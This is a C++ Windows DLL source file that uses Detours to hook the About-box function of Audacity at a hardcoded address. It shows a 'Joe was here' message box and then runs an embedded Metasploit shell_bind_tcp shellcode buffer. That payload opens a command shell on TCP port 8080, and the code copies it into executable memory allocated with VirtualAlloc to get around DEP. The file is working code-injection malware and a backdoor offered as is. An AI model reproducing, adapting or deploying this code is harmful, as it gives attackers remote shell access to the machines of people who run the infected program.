#include "stdafx.h"
#include <windows.h>
#include <detours.h>
#pragma comment(lib, "detours.lib")

typedef int (WINAPI *pFunc)(int, int);
int WINAPI MyFunc(int, int);
pFunc FuncToDetour = (pFunc)(0x40C910); // address of about box in Audacity

int WINAPI MyFunc(int a, int b)
{
	MessageBox(NULL, L"Audacity rocks!", L"Joe was here", MB_OK);
	/*
	msf payload(shell_bind_tcp) > generate -t c

	* windows/shell_bind_tcp - 328 bytes
	* http://www.metasploit.com
	* VERBOSE=false, LPORT=8080, RHOST=0.0.0.0,
	* PrependMigrate=false, EXITFUNC=none, InitialAutoRunScript=,
	* AutoRunScript=
	*/
	unsigned char buf[] =
		"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
		"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
		"\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
		"\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
		"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"
		"\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"
		"\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"
		"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
		"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"
		"\x8d\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c"
		"\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68"
		"\x29\x80\x6b\x00\xff\xd5\x6a\x08\x59\x50\xe2\xfd\x40\x50\x40"
		"\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x68\x02\x00\x1f\x90\x89"
		"\xe6\x6a\x10\x56\x57\x68\xc2\xdb\x37\x67\xff\xd5\x57\x68\xb7"
		"\xe9\x38\xff\xff\xd5\x57\x68\x74\xec\x3b\xe1\xff\xd5\x57\x97"
		"\x68\x75\x6e\x4d\x61\xff\xd5\x68\x63\x6d\x64\x00\x89\xe3\x57"
		"\x57\x57\x31\xf6\x6a\x12\x59\x56\xe2\xfd\x66\xc7\x44\x24\x3c"
		"\x01\x01\x8d\x44\x24\x10\xc6\x00\x44\x54\x50\x56\x56\x56\x46"
		"\x56\x4e\x56\x56\x53\x56\x68\x79\xcc\x3f\x86\xff\xd5\x89\xe0"
		"\x4e\x56\x46\xff\x30\x68\x08\x87\x1d\x60\xff\xd5\xbb\xaa\xc5"
		"\xe2\x5d\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb"
		"\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5";

		// this shit wont work with DEP enabled systems cuz this executes directly on the stack. 
		// need to alloc some memory, mark it RWE
		void *exec = VirtualAlloc(0, sizeof b, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
		memcpy(exec, buf, sizeof buf);
		((void(*)())exec)();

	return 4;
}
extern "C" __declspec(dllexport) void DoNothingAlready(void)
{
	DWORD ayylmao = 20345;
	_asm
	{
		xor eax, eax
			xor ecx, ecx
			mov eax, ayylmao
			mov ecx, 0
		testd:
		fnop
			inc ecx
			cmp eax, ecx
			jnz testd
			pop ebx
			nop
	}
	return;
}

BOOL WINAPI DllMain(HINSTANCE hinst, DWORD dwReason, LPVOID reserved)
{
	if (DetourIsHelperProcess()) {
		return TRUE;
	}

	if (dwReason == DLL_PROCESS_ATTACH) {
		DetourRestoreAfterWith();
		DetourTransactionBegin();
		DetourUpdateThread(GetCurrentThread());
		DetourAttach(&(PVOID&)FuncToDetour, MyFunc);
		DetourTransactionCommit();
	}
	else if (dwReason == DLL_PROCESS_DETACH) {
		DetourTransactionBegin();
		DetourUpdateThread(GetCurrentThread());
		DetourDetach(&(PVOID&)FuncToDetour, MyFunc);
		DetourTransactionCommit();
	}
	return TRUE;
}
